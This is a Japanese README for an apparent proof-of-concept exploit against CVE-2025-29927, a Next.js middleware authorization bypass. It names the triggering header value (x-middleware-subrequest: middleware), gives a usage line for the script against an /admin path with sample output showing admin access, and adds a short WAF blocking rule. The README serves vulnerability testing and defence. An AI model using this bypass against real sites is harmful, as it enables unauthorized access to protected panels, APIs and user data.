
こちらは CVE-2025-29927 に対するシンプルだが効果的なエクスプロイトです。
このリポジトリには、CVE-2025-29927 の概念実証 (PoC) エクスプロイトが含まれています。これは Next.js の深刻な脆弱性であり、攻撃者がミドルウェア固有のHTTPヘッダーを悪用して認可チェックをバイパスすることを可能にします。
Next.jsアプリケーションは、認可とアクセス制御のためにミドルウェアに依存することがよくあります。このCVEは、x-middleware-subrequestヘッダーの処理方法におけるロジックの欠陥に起因します。このヘッダーがmiddlewareに設定されている場合、サーバーはリクエストが内部ロジックから発信されたと誤って判断し、ミドルウェアベースの認可をバイパスする可能性があります。
これにより、攻撃者は認証情報や有効なセッションなしで、管理パネル、保護されたAPI、ユーザーデータにアクセスできる可能性があります。
Next.jsアプリケーションが脆弱かどうかをテストするためのシンプルなPythonスクリプトを提供します。
python3 exploit.py --url https://target.com --path /admin [--proxy http://127.0.0.1:8080]
[+] Sending request to: https://target.com/admin
[+] Using header: x-middleware-subrequest: middleware
[+] Status Code: 200
[+] Response Body (first 500 chars):
<!DOCTYPE html><html><head>...You are logged in as admin...
WAFロジック:
if header 'x-middleware-subrequest' == 'middleware':
block_request()
このPoCは、継続的な脆弱性調査活動の一環として、W2H Corp.のオフェンシブセキュリティチームによって開発されました。CVEの説明に関する元の投稿はこちらです。